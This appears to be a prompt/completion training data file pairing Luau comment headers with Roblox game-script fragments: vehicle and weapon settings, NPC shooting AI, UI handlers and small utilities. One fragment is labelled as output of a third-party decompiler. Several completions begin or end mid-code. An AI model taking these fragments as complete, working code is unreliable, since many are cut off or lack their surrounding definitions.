prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--[=[
Destroys the timer. This will also stop the timer.
]=] |
function Timer:Destroy()
self.Tick:Destroy()
self:Stop()
end
return Timer
|
--[[
Create a composite reducer from a map of keys and sub-reducers.
]] |
local function combineReducers(map)
return function(state, action)
-- If state is nil, substitute it with a blank table.
if state == nil then
state = {}
end
local newState = {}
for key, reducer in pairs(map) do
-- Each reducer gets its own state, not the entire state table
newState[key] = reducer(state[key], action)
end
return newState
end
end
return combineReducers
|
--[[
A ref is nothing more than a binding with a special field 'current'
that maps to the getValue method of the binding
]] |
local Binding = require(script.Parent.Binding)
local function createRef()
local binding, _ = Binding.create(nil)
local ref = {}
--[[
A ref is just redirected to a binding via its metatable
]]
setmetatable(ref, {
__index = function(_self, key)
if key == "current" then
return binding:getValue()
else
return binding[key]
end
end,
__newindex = function(_self, key, value)
if key == "current" then
error("Cannot assign to the 'current' property of refs", 2)
end
binding[key] = value
end,
__tostring = function(_self)
return ("RoactRef(%s)"):format(tostring(binding:getValue()))
end,
})
return ref
end
return createRef
|
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 203 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6500 -- Use sliders to manipulate values
Tune.Redline = 7000.01 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 6500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 100 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 10 -- cooldown for use of the tool again
ZoneModelName = "Blood pool" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage |
-- -- -- -- -- -- --
--DIRECTION SCROLL--
-- -- -- -- -- -- -- |
This.Parent.Parent.Parent.Parent.Parent:WaitForChild("Direction").Changed:connect(function(val)
if val == 1 then
for R = 1, 7 do
for D = 1, 5 do
This.Display["Matrix"..1]["Row"..R]["D"..D].ImageColor3 = UColor
end
end
repeat
SetDisplay(1,"U0")
wait(ArrowDelay)
SetDisplay(1,"U1")
wait(ArrowDelay)
SetDisplay(1,"U2")
wait(ArrowDelay)
SetDisplay(1,"U3")
wait(ArrowDelay)
SetDisplay(1,"U4")
wait(ArrowDelay)
SetDisplay(1,"U5")
wait(ArrowDelay)
SetDisplay(1,"U6")
wait(ArrowDelay)
until This.Parent.Parent.Parent.Parent.Parent.Direction.Value ~= 1
SetDisplay(1,"NIL")
elseif val == -1 then
for R = 1, 7 do
for D = 1, 5 do
This.Display["Matrix"..1]["Row"..R]["D"..D].ImageColor3 = DColor
end
end
repeat
SetDisplay(1,"D0")
wait(ArrowDelay)
SetDisplay(1,"D1")
wait(ArrowDelay)
SetDisplay(1,"D2")
wait(ArrowDelay)
SetDisplay(1,"D3")
wait(ArrowDelay)
SetDisplay(1,"D4")
wait(ArrowDelay)
SetDisplay(1,"D5")
wait(ArrowDelay)
SetDisplay(1,"D6")
wait(ArrowDelay)
until This.Parent.Parent.Parent.Parent.Parent.Direction.Value ~= -1
SetDisplay(1,"NIL")
else
SetDisplay(1,"NIL")
end
end)
|
--[[
* Used to print values in error messages.
]] |
local function inspect(value, options: InspectOptions?): string
local inspectOptions: InspectOptions = options or { depth = DEFAULT_RECURSIVE_DEPTH }
local depth = inspectOptions.depth or DEFAULT_RECURSIVE_DEPTH
inspectOptions.depth = if depth >= 0 then depth else DEFAULT_RECURSIVE_DEPTH
return formatValue(value, {}, inspectOptions :: FormatOptions)
end
local function isIndexKey(k, contiguousLength)
return type(k) == "number"
and k <= contiguousLength -- nothing out of bounds
and 1 <= k -- nothing illegal for array indices
and math.floor(k) == k -- no float keys
end
local function getTableLength(tbl)
local length = 1
local value = rawget(tbl, length)
while value ~= nil do
length += 1
value = rawget(tbl, length)
end
return length - 1
end
local function sortKeysForPrinting(a: any, b)
local typeofA = type(a)
local typeofB = type(b)
-- strings and numbers are sorted numerically/alphabetically
if typeofA == typeofB and (typeofA == "number" or typeofA == "string") then
return a < b
end
-- sort the rest by type name
return typeofA < typeofB
end
local function rawpairs(t)
return next, t, nil
end
local function getFragmentedKeys(tbl)
local keys = {}
local keysLength = 0
local tableLength = getTableLength(tbl)
for key, _ in rawpairs(tbl) do
if not isIndexKey(key, tableLength) then
keysLength = keysLength + 1
keys[keysLength] = key
end
end
table.sort(keys, sortKeysForPrinting)
return keys, keysLength, tableLength
end
function formatValue(value, seenValues, options: FormatOptions)
local valueType = typeof(value)
if valueType == "string" then
return HttpService:JSONEncode(value)
-- deviation: format numbers like in JS
elseif valueType == "number" then
if value ~= value then
return "NaN"
elseif value == math.huge then
return "Infinity"
elseif value == -math.huge then
return "-Infinity"
else
return tostring(value)
end
elseif valueType == "function" then
local result = "[function"
local functionName = debug.info(value :: (any) -> any, "n")
if functionName ~= nil and functionName ~= "" then
result ..= " " .. functionName
end
return result .. "]"
elseif valueType == "table" then
-- ROBLOX TODO: parameterize inspect with the library-specific NULL sentinel. maybe function generics?
-- if value == NULL then
-- return 'null'
-- end
return formatObjectValue(value, seenValues, options)
else
return tostring(value)
end
end
function formatObjectValue(value, previouslySeenValues, options: FormatOptions)
if table.find(previouslySeenValues, value) ~= nil then
return "[Circular]"
end
local seenValues = { unpack(previouslySeenValues) }
table.insert(seenValues, value)
if typeof(value.toJSON) == "function" then
local jsonValue = value:toJSON(value)
if jsonValue ~= value then
if typeof(jsonValue) == "string" then
return jsonValue
else
return formatValue(jsonValue, seenValues, options)
end
end
elseif isArray(value) then
return formatArray(value, seenValues, options)
end
return formatObject(value, seenValues, options)
end
function formatObject(object, seenValues, options: FormatOptions)
local result = ""
local mt = getmetatable(object)
if mt and rawget(mt, "__tostring") then
return tostring(object)
end
local fragmentedKeys, fragmentedKeysLength, keysLength = getFragmentedKeys(object)
if keysLength == 0 and fragmentedKeysLength == 0 then
result ..= "{}"
return result
end
if #seenValues > options.depth then
result ..= "[" .. getObjectTag(object) .. "]"
return result
end
local properties = {}
for i = 1, keysLength do
local value = formatValue(object[i], seenValues, options)
table.insert(properties, value)
end
for i = 1, fragmentedKeysLength do
local key = fragmentedKeys[i]
local value = formatValue(object[key], seenValues, options)
table.insert(properties, key .. ": " .. value)
end
result ..= "{ " .. table.concat(properties, ", ") .. " }"
return result
end
function formatArray(array: Array<any>, seenValues: Array<any>, options: FormatOptions): string
local length = #array
if length == 0 then
return "[]"
end
if #seenValues > options.depth then
return "[Array]"
end
local len = math.min(MAX_ARRAY_LENGTH, length)
local remaining = length - len
local items = {}
for i = 1, len do
items[i] = (formatValue(array[i], seenValues, options))
end
if remaining == 1 then
table.insert(items, "... 1 more item")
elseif remaining > 1 then
table.insert(items, ("... %s more items"):format(tostring(remaining)))
end
return "[" .. table.concat(items, ", ") .. "]"
end
function getObjectTag(_object): string
-- local tag = Object.prototype.toString
-- .call(object)
-- .replace("")
-- .replace("")
-- if tag == "Object" and typeof(object.constructor) == "function" then
-- local name = object.constructor.name
-- if typeof(name) == "string" and name ~= "" then
-- return name
-- end
-- end
-- return tag
return "Object"
end
return inspect
|
--// # key, ManOff |
mouse.KeyUp:connect(function(key)
if key=="f" then
veh.Lightbar.middle.Man:Stop()
veh.Lightbar.middle.Wail.Volume = 3
veh.Lightbar.middle.Yelp.Volume = 3
veh.Lightbar.middle.Priority.Volume = 3
script.Parent.Parent.Sirens.Man.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
veh.Lightbar.MANUAL.Transparency = 1
end
end)
mouse.KeyDown:connect(function(key)
if key=="j" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.RemoteEvent:FireServer(true)
end
end)
mouse.KeyDown:connect(function(key)
if key=="k" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.TAEvent:FireServer(true)
end
end)
mouse.KeyDown:connect(function(key)
if key=="b" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.AlleyEvent:FireServer(true)
end
end)
mouse.KeyDown:connect(function(key)
if key=="v" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.TKDNEvent:FireServer(true)
end
end)
|
--// Recoil Settings |
gunrecoil = -1; -- How much the gun recoils backwards when not aiming
camrecoil = 0.3; -- How much the camera flicks when not aiming
AimGunRecoil = -1; -- How much the gun recoils backwards when aiming
AimCamRecoil = 0.3; -- How much the camera flicks when aiming
CamShake = 28; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING
AimCamShake = 24; -- THIS IS ALSO NEW!!!!
Kickback = 17.11; -- Upward gun rotation when not aiming
AimKickback = 17.11; -- Upward gun rotation when aiming
|
--LIGHTING FUNCTIONS |
script.Parent.OnServerEvent:connect(function(pl,n) if lt~=1 then pr = true else pr=false end lt=n
if (lt == 0 or lt == 1) then
RefMt.DesiredAngle = RefMt.CurrentAngle%math.rad(360)
RefMt.CurrentAngle = RefMt.CurrentAngle%math.rad(360)
UpdateLt(1,white)
UpdatePt(false,white)
StopMt(pr)
repeat wait() until (lt~=0 and lt~=1)
elseif lt == 2 then
UpdateLt(.25,white)
UpdatePt(true,white)
UpdateMt(0,9e9,1)
repeat
if math.deg(RefMt.CurrentAngle%math.rad(360)) >= 90 then UpdateLt(.25,white) end
if math.deg(RefMt.CurrentAngle%math.rad(360)) >= 90 then UpdatePt(true,white) end
if math.deg(RefMt.CurrentAngle%math.rad(360)) >= 270 then UpdateLt(.25,red) end
if math.deg(RefMt.CurrentAngle%math.rad(360)) >= 270 then UpdatePt(true,red) end
wait()
until lt~=2
elseif lt == 3 then
UpdateLt(.25,red)
UpdatePt(true,red)
UpdateMt(0,9e9,1)
repeat wait() until lt~=3
end
end)
|
--[[Wheel Configuration]] |
--Store Reference Orientation Function
function getParts(model,t,a)
for i,v in pairs(model:GetChildren()) do
if v:IsA("BasePart") then table.insert(t,{v,a.CFrame:toObjectSpace(v.CFrame)})
elseif v:IsA("Model") then getParts(v,t,a)
end
end
end
--PGS/Legacy
local fDensity = _Tune.FWheelDensity
local rDensity = _Tune.RWheelDensity
local fDistX=_Tune.FWsBoneLen*math.cos(math.rad(_Tune.FWsBoneAngle))
local fDistY=_Tune.FWsBoneLen*math.sin(math.rad(_Tune.FWsBoneAngle))
local rDistX=_Tune.RWsBoneLen*math.cos(math.rad(_Tune.RWsBoneAngle))
local rDistY=_Tune.RWsBoneLen*math.sin(math.rad(_Tune.RWsBoneAngle))
local fSLX=_Tune.FSusLength*math.cos(math.rad(_Tune.FSusAngle))
local fSLY=_Tune.FSusLength*math.sin(math.rad(_Tune.FSusAngle))
local rSLX=_Tune.RSusLength*math.cos(math.rad(_Tune.RSusAngle))
local rSLY=_Tune.RSusLength*math.sin(math.rad(_Tune.RSusAngle))
for _,v in pairs(Drive) do
--Apply Wheel Density
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
if v:IsA("BasePart") then
if v.CustomPhysicalProperties == nil then v.CustomPhysicalProperties = PhysicalProperties.new(v.Material) end
v.CustomPhysicalProperties = PhysicalProperties.new(
fDensity,
v.CustomPhysicalProperties.Friction,
v.CustomPhysicalProperties.Elasticity,
v.CustomPhysicalProperties.FrictionWeight,
v.CustomPhysicalProperties.ElasticityWeight
)
end
else
if v:IsA("BasePart") then
if v.CustomPhysicalProperties == nil then v.CustomPhysicalProperties = PhysicalProperties.new(v.Material) end
v.CustomPhysicalProperties = PhysicalProperties.new(
rDensity,
v.CustomPhysicalProperties.Friction,
v.CustomPhysicalProperties.Elasticity,
v.CustomPhysicalProperties.FrictionWeight,
v.CustomPhysicalProperties.ElasticityWeight
)
end
end
--Resurface Wheels
for _,a in pairs({"Top","Bottom","Left","Right","Front","Back"}) do
v[a.."Surface"]=Enum.SurfaceType.SmoothNoOutlines
end
--Store Axle-Anchored/Suspension-Anchored Part Orientation
local WParts = {}
local tPos = v.Position-car.DriveSeat.Position
if v.Name=="FL" or v.Name=="RL" then
v.CFrame = car.DriveSeat.CFrame*CFrame.Angles(math.rad(90),0,math.rad(90))
else
v.CFrame = car.DriveSeat.CFrame*CFrame.Angles(math.rad(90),0,math.rad(-90))
end
v.CFrame = v.CFrame+tPos
if v:FindFirstChild("Parts")~=nil then
getParts(v.Parts,WParts,v)
end
if v:FindFirstChild("Fixed")~=nil then
getParts(v.Fixed,WParts,v)
end
--Align Wheels
if v.Name=="FL" then
v.CFrame = v.CFrame*CFrame.Angles(math.rad(_Tune.FCamber),math.rad(-_Tune.FCaster),math.rad(_Tune.FToe))
elseif v.Name=="FR" then
v.CFrame = v.CFrame*CFrame.Angles(math.rad(_Tune.FCamber),math.rad(_Tune.FCaster),math.rad(-_Tune.FToe))
elseif v.Name=="RL" then
v.CFrame = v.CFrame*CFrame.Angles(math.rad(_Tune.RCamber),math.rad(-_Tune.RCaster),math.rad(_Tune.RToe))
elseif v.Name=="RR" then
v.CFrame = v.CFrame*CFrame.Angles(math.rad(_Tune.RCamber),math.rad(_Tune.RCaster),math.rad(-_Tune.RToe))
end
--Re-orient Axle-Anchored/Suspension-Anchored Parts
for _,a in pairs(WParts) do
a[1].CFrame=v.CFrame:toWorldSpace(a[2])
end
|
-- by default, warns |
local function warnWithTracebackOnError(func, shouldNotWarn)
return xpcall(func, function(err)
if not shouldNotWarn then
warn(tostring(err) .. "\n" .. debug.traceback())
end
return false, err
end)
end
function SafeSpawn.new(func, shouldNotWarn)
local success, err = warnWithTracebackOnError(coroutine.wrap(func), shouldNotWarn)
if not success and not shouldNotWarn then
warn(err)
end
return success, err
end
return SafeSpawn
|
----------------------------------------------------------------------------------------------------
--------------------=[ CFRAME ]=--------------------------------------------------------------------
---------------------------------------------------------------------------------------------------- |
,EnableHolster = false
,HolsterTo = 'Torso' -- Put the name of the body part you wanna holster to
,HolsterPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))
,RightArmPos = CFrame.new(-.815, 0.55, -1.1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Server
,LeftArmPos = CFrame.new(.815,0.55,-1.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)) --server
,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))
,GunPos = CFrame.new(0.3, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0))
,RightPos = CFrame.new(-.815, 0.15, -1.1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Client
,LeftPos = CFrame.new(.815,0.15,-1.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)) --Client
}
return Config
|
-- SERVICES -- |
local DataStoreService = game:GetService('DataStoreService')
local ReplicatedStorage = game:GetService('ReplicatedStorage')
|
-- Objects |
local PlayerIcon = ReplicatedStorage.Assets.General.UI.PlayerIcon
|
--if i <= 0 then |
script.Parent.Main.TextLabel.Text = "Time Left: "..i |
-- Decompiled with the Synapse X Luau decompiler. |
local v1 = {};
local v2 = require(game.ReplicatedStorage.Modules.Lightning);
local v3 = require(game.ReplicatedStorage.Modules.Xeno);
local v4 = require(game.ReplicatedStorage.Modules.CameraShaker);
local l__TweenService__5 = game.TweenService;
local l__Debris__6 = game.Debris;
local l__ReplicatedStorage__1 = game.ReplicatedStorage;
function v1.RunStompFx(p1, p2, p3, p4)
local v7 = l__ReplicatedStorage__1.KillFX[p1].Stomp:Clone();
v7.Parent = p2.Parent.UpperTorso and p2;
v7:Play();
game.Debris:AddItem(v7, 3);
local v8 = l__ReplicatedStorage__1.KillFX[p1].Sonny:Clone();
v8.Parent = workspace.Ignored.Animations;
v8.CFrame = CFrame.new(p2.Parent.UpperTorso.CFrame.p) * CFrame.new(0, 0.5, 0);
game.Debris:AddItem(v8, 4);
delay(0, function()
for v9 = 1, 0, -0.05 do
v8.KO.Image.UIGradient.Transparency = NumberSequence.new({ NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(0.5, v9), NumberSequenceKeypoint.new(1, 1) });
task.wait(0.01);
end;
task.wait(1);
for v10 = 0, 1, 0.025 do
v8.KO.Image.UIGradient.Transparency = NumberSequence.new({ NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(0.5, v10), NumberSequenceKeypoint.new(1, 1) });
task.wait(0.01);
end;
end);
return nil;
end;
return v1;
|
-- / Settings / -- |
local Settings = {
Buttons = 6
}
local ActivatedButtons = {}
|
------------------------- |
mouse.KeyDown:connect(function (key)
key = string.lower(key)
if key == "c" then --Camera controls
if cam == ("car") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Custom")
cam = ("freeplr")
Camera.FieldOfView = 70
limitButton.Text = "Free Camera"
wait(3)
limitButton.Text = ""
elseif cam == ("freeplr") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Attach")
cam = ("lockplr")
Camera.FieldOfView = 60
limitButton.Text = "FPV Camera"
wait(3)
limitButton.Text = ""
elseif cam == ("lockplr") then
Camera.CameraSubject = carSeat
Camera.CameraType = ("Attach")
cam = ("car")
Camera.FieldOfView = 50
limitButton.Text = "Standard Camera"
wait(3)
limitButton.Text = ""
end
end
end)
|
--------------------------------------- |
local toCopy=model.Part3
local spd=script.Speed:Clone()
spd.Parent = toCopy
spd.Value = 0.1
local die=script.Died:Clone()
die.Parent = toCopy
die.Disabled = false
local scr=script.MovedBlock:Clone()
scr.Parent = toCopy
scr.Disabled = false
|
-- Force direction |
function EjectionForce.CalculateForce()
return Vector3.new(
math.random(170,220) / 10, -- Side to side
math.random(50,70) / 10, -- Up
-math.random(600,620) / 10 -- Front
)
end
|
--end) |
task.spawn(function()
while true do
if Dead then
break
end
AI()
local n,mag,hum=near()
if n and not Dead then
n=n.p
if not r then
w=.14
local dir=h.Position-n
local tst ,_ =workspace:FindPartOnRay(Ray.new(t.Torso.Position,(n-t.Torso.Position).Unit*999),t)
local aim =n+Vector3.new(math.random(-mag*RecoilSpread,mag*RecoilSpread),math.random(-mag*RecoilSpread,mag*RecoilSpread),math.random(-mag*RecoilSpread,mag*RecoilSpread))+hum
if tst and not Dead then
local FoundHuman,VitimaHuman = CheckForHumanoid(tst)
if FoundHuman == true and VitimaHuman.Health > 0 and game.Players:GetPlayerFromCharacter(VitimaHuman.Parent) and perception >= 10 then
function lookAt(target, eye)
local forwardVector = (eye - target).Unit
local upVector = Vector3.new(0, 1, 0)
-- You have to remember the right hand rule or google search to get this right
local rightVector = forwardVector:Cross(upVector)
local upVector2 = rightVector:Cross(forwardVector)
return CFrame.fromMatrix(eye, rightVector, upVector2)
end
local direction = (n+hum)-h.CFrame.LookVector
script.Parent:SetPrimaryPartCFrame(CFrame.new(t.Head.CFrame.Position,Vector3.new(direction.X,h.CFrame.Y,direction.Z)))
Evt.ServerBullet:FireAllClients(nil, h.Position,(aim - h.Position).Unit,WeaponData,nil)
h.Echo:Play()
h.Fire:Play()
local raycastParams = RaycastParams.new()
raycastParams.FilterDescendantsInstances = Ray_Ignore
raycastParams.FilterType = Enum.RaycastFilterType.Blacklist
raycastParams.IgnoreWater = true
local raycastResult = workspace:Raycast(h.Position, (aim - h.Position).Unit*999, raycastParams)
if raycastResult and raycastResult.Instance and not Dead then
Hitmaker(raycastResult.Instance, raycastResult.Position, raycastResult.Normal, raycastResult.Material)
local FoundHuman,VitimaHuman = CheckForHumanoid(raycastResult.Instance)
if FoundHuman == true and VitimaHuman.Health > 0 and game.Players:GetPlayerFromCharacter(VitimaHuman.Parent) then
local TotalDistTraveled = (raycastResult.Position - h.Position).Magnitude
------ How much damage the gun inflicts
if raycastResult.Instance.Name == "Head" or raycastResult.Instance.Parent.Name == "Top" or raycastResult.Instance.Parent.Name == "Headset" or raycastResult.Instance.Parent.Name == "Olho" or raycastResult.Instance.Parent.Name == "Face" or raycastResult.Instance.Parent.Name == "Numero" then
local DanoBase = math.random(WeaponData.HeadDamage[1], WeaponData.HeadDamage[2])
local Dano,DanoColete,DanoCapacete = CalcularDano(DanoBase, TotalDistTraveled, VitimaHuman, "Head")
Damage(VitimaHuman,Dano,DanoColete,DanoCapacete)
elseif (raycastResult.Instance.Parent:IsA('Accessory') or raycastResult.Instance.Parent:IsA('Hat')) then
local DanoBase = math.random(WeaponData.HeadDamage[1], WeaponData.HeadDamage[2])
local Dano,DanoColete,DanoCapacete = CalcularDano(DanoBase, TotalDistTraveled, VitimaHuman, "Head")
Damage(VitimaHuman,Dano,DanoColete,DanoCapacete)
elseif raycastResult.Instance.Name == "Torso" or raycastResult.Instance.Parent.Name == "Chest" or raycastResult.Instance.Parent.Name == "Waist" then
local DanoBase = math.random(WeaponData.TorsoDamage[1], WeaponData.TorsoDamage[2])
local Dano,DanoColete,DanoCapacete = CalcularDano(DanoBase, TotalDistTraveled, VitimaHuman, "Body")
Damage(VitimaHuman,Dano,DanoColete,DanoCapacete)
elseif raycastResult.Instance.Name == "Right Arm" or raycastResult.Instance.Name == "Left Arm" or raycastResult.Instance.Name == "Right Leg" or raycastResult.Instance.Name == "Left Leg" or raycastResult.Instance.Parent.Name == "Back" or raycastResult.Instance.Parent.Name == "Leg1" or raycastResult.Instance.Parent.Name == "Leg2" or raycastResult.Instance.Parent.Name == "Arm1" or raycastResult.Instance.Parent.Name == "Arm2" then
local DanoBase = math.random(WeaponData.LimbDamage[1], WeaponData.LimbDamage[2])
local Dano,DanoColete,DanoCapacete = CalcularDano(DanoBase, TotalDistTraveled, VitimaHuman, "Body")
Damage(VitimaHuman,Dano,DanoColete,DanoCapacete)
else
local DanoBase = math.random(WeaponData.LimbDamage[1], WeaponData.LimbDamage[2])
local Dano,DanoColete,DanoCapacete = CalcularDano(DanoBase, TotalDistTraveled, VitimaHuman, "Body")
Damage(VitimaHuman,Dano,DanoColete,DanoCapacete)
end
end
end
ammo=ammo-1
if raycastResult then
mag=(h.Position-raycastResult.Position).magnitude
end
t.Humanoid.WalkSpeed = ShootingWalkspeed
elseif FoundHuman == true and VitimaHuman.Health > 0 and game.Players:GetPlayerFromCharacter(VitimaHuman.Parent) and perception < 10 then
perception = perception + Settings.Level.Value
t.Humanoid.WalkSpeed = SearchingWalkspeed
Memory = Settings.Level.Value * 100
CanSee = true
elseif perception > 0 then
perception = perception - 1/Settings.Level.Value * 2
t.Humanoid.WalkSpeed = SearchingWalkspeed
CanSee = false
elseif perception <= 0 then
perception = 0
t.Humanoid.WalkSpeed = RegularWalkspeed
Memory = Memory - .25
end
--print(Memory)
end
task.wait(RPM) -- How fast the enemy shoots
if ammo==0 then
reload()
end
end
end
end
end)
|
-- ================================================================================
-- Settings - Black Hole
-- ================================================================================ |
local Settings = {}
Settings.DefaultSpeed = 135 -- Speed when not boosted [Studs/second, Range 50-300]
Settings.BoostSpeed = 35 -- Speed when boosted [Studs/second, Maximum: 400]
Settings.BoostAmount = 5 -- Duration of boost in seconds
Settings.Steering = 10 -- How quickly the speeder turns [Range: 1-10] |
--// Damage Settings |
BaseDamage = 83; -- Torso Damage
LimbDamage = 70; -- Arms and Legs
ArmorDamage = 70; -- How much damage is dealt against armor (Name the armor "Armor")
HeadDamage = 253; -- If you set this to 100, there's a chance the player won't die because of the heal script
|
--print(Valor) |
if Valor == true then
if Correndo.Value == true then
ChangeStance = true
Correndo.Value = false
Stand()
Stances = 0
end
if Stances == 0 then
Stand()
end
TS:Create(Poses.Levantado, TweenInfo.new(.25), {ImageColor3 = Color3.fromRGB(150,0,0)} ):Play()
TS:Create(Poses.Agaixado, TweenInfo.new(.25), {ImageColor3 = Color3.fromRGB(150,0,0)} ):Play()
TS:Create(Poses.Deitado, TweenInfo.new(.25), {ImageColor3 = Color3.fromRGB(150,0,0)} ):Play()
--Poses.Levantado.ImageColor3 = Color3.fromRGB(100,0,0)
--Poses.Agaixado.ImageColor3 = Color3.fromRGB(100,0,0)
--Poses.Deitado.ImageColor3 = Color3.fromRGB(100,0,0)
--Main.Status.Barra.Stamina.BackgroundColor3 = Color3.fromRGB(170,0,0)
else
if Stances == 0 then
Stand()
end
TS:Create(Poses.Levantado, TweenInfo.new(.25), {ImageColor3 = Color3.fromRGB(255,255,255)} ):Play()
TS:Create(Poses.Agaixado, TweenInfo.new(.25), {ImageColor3 = Color3.fromRGB(255,255,255)} ):Play()
TS:Create(Poses.Deitado, TweenInfo.new(.25), {ImageColor3 = Color3.fromRGB(255,255,255)} ):Play()
--Poses.Levantado.ImageColor3 = Color3.fromRGB(0,0,0)
--Poses.Agaixado.ImageColor3 = Color3.fromRGB(0,0,0)
--Poses.Deitado.ImageColor3 = Color3.fromRGB(0,0,0)
--Main.Status.Barra.Stamina.BackgroundColor3 = Color3.fromRGB(125,125,125)
end
end)
local BleedTween = TS:Create(Main.Poses.Bleeding, TweenInfo.new(1,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,-1,true), {ImageColor3 = Color3.fromRGB(150, 0, 0)} )
Sangrando.Changed:Connect(function(Valor)
if Valor == true then
Main.Poses.Bleeding.ImageColor3 = Color3.fromRGB(255,255,255)
Main.Poses.Bleeding.Visible = true
BleedTween:Play()
else
Main.Poses.Bleeding.Visible = false
BleedTween:Cancel()
end
end)
Caido.Changed:Connect(function(Valor)
if Valor == true then
if Stances ~= 0 then
Poses.Levantado.Visible = true
Poses.Agaixado.Visible = false
Poses.Deitado.Visible = false
Poses.Esg_Right.Visible = false
Poses.Esg_Left.Visible = false
CameraX = 0
CameraY = 0
Stances = 0
Correndo.Value = false
Steady = false
Stand()
end
end
end)
local a = Main.Vest.TextBox
local b = Main.Helm.TextBox
local Ener = Main.Poses.Energy
function Vest()
a.Text = math.ceil(Protecao.VestVida.Value)
a.Parent.ImageColor3 = Color3.fromRGB(255,0,0)
TS:Create(a.Parent, TweenInfo.new(2), {ImageColor3 = Color3.fromRGB(255, 255, 255)} ):Play()
if Protecao.VestVida.Value <= 0 then
a.Parent.Visible = false
else
a.Parent.Visible = true
end
end
function Helmet()
b.Text = math.ceil(Protecao.HelmetVida.Value)
b.Parent.ImageColor3 = Color3.fromRGB(255,0,0)
TS:Create(b.Parent, TweenInfo.new(2), {ImageColor3 = Color3.fromRGB(255, 255, 255)} ):Play()
if Protecao.HelmetVida.Value <= 0 then
b.Parent.Visible = false
else
b.Parent.Visible = true
end
end
function Stamina()
if ServerConfig.EnableStamina then
if saude.Variaveis.Stamina.Value <= (saude.Variaveis.Stamina.MaxValue/2) then
Ener.ImageColor3 = Color3.new(1,saude.Variaveis.Stamina.Value/(saude.Variaveis.Stamina.MaxValue/2),saude.Variaveis.Stamina.Value/saude.Variaveis.Stamina.MaxValue)
Ener.Visible = true
elseif saude.Variaveis.Stamina.Value < saude.Variaveis.Stamina.MaxValue then
Ener.ImageColor3 = Color3.new(1,1,saude.Variaveis.Stamina.Value/saude.Variaveis.Stamina.MaxValue)
Ener.Visible = true
elseif saude.Variaveis.Stamina.Value >= saude.Variaveis.Stamina.MaxValue then
Ener.Visible = false
end
else
saude.Variaveis.Stamina.Value = saude.Variaveis.Stamina.MaxValue
Ener.Visible = false
end
end
Vest()
Helmet()
Stamina()
Protecao.VestVida.Changed:Connect(Vest)
Protecao.HelmetVida.Changed:Connect(Helmet)
saude.Variaveis.Stamina.Changed:Connect(Stamina)
Character.Humanoid.Changed:connect(function(Property)
if ServerConfig.AntiBunnyHop then
if Property == "Jump" and Character.Humanoid.Sit == true and Character.Humanoid.SeatPart ~= nil then
Character.Humanoid.Sit = false
elseif Property == "Jump" and Character.Humanoid.Sit == false then
if JumpDelay then
Character.Humanoid.Jump = false
return false
end
JumpDelay = true
delay(0, function()
wait(ServerConfig.JumpCoolDown)
JumpDelay = false
end)
end
end
end)
local uis = game:GetService('UserInputService')
local Evt = Engine:WaitForChild("Eventos")
local placeEvent = Evt.Rappel:WaitForChild('PlaceEvent')
local ropeEvent = Evt.Rappel:WaitForChild('RopeEvent')
local cutEvent = Evt.Rappel:WaitForChild('CutEvent')
uis.InputBegan:connect(function(input,chat)
if not chat and Rappeling.Value == true then
if input.KeyCode == Enum.KeyCode.C then
ropeEvent:FireServer('Up',true)
end;
if input.KeyCode == Enum.KeyCode.X then
ropeEvent:FireServer('Down',true)
end;
end
end)
uis.InputEnded:connect(function(input,chat)
if not chat and Rappeling.Value == true then
if input.KeyCode == Enum.KeyCode.C then
ropeEvent:FireServer('Up',false)
end;
if input.KeyCode == Enum.KeyCode.X then
ropeEvent:FireServer('Down',false)
end;
end
end)
function L_150_.Update()
local L_174_ = CFrame.new()
L_153_.cornerPeek.t = L_153_.peekFactor * Virar
local L_326_ = CFrame.fromAxisAngle(Vector3.new(0, 0, 1), L_153_.cornerPeek.p) -- SOLUTION TO 3RD PERSON --> CFrame.new(10,0,0) * CFrame.fromAxisAngle(Vector3.new(0,0,1), this.cornerPeek.p)
Camera.CFrame = Camera.CFrame * L_326_ * L_174_
if saude.Variaveis.Stamina.Value <= (saude.Variaveis.Stamina.MaxValue/2) then
local StaminaX = (1 - (saude.Variaveis.Stamina.Value)/(saude.Variaveis.Stamina.MaxValue/2))/20
Camera.CoordinateFrame = Camera.CoordinateFrame * CFrame.Angles( math.rad( StaminaX * math.sin( tick() * 3.5 )) , math.rad( StaminaX * math.sin( tick() * 1 )), 0)
end
end
local Nadando = false
function onStateChanged(_,state)
--print(state)
if state == Enum.HumanoidStateType.Swimming then
Nadando = true
else
Nadando = false
end
end
maxAir = 100
air = maxAir
lastHealth = 100
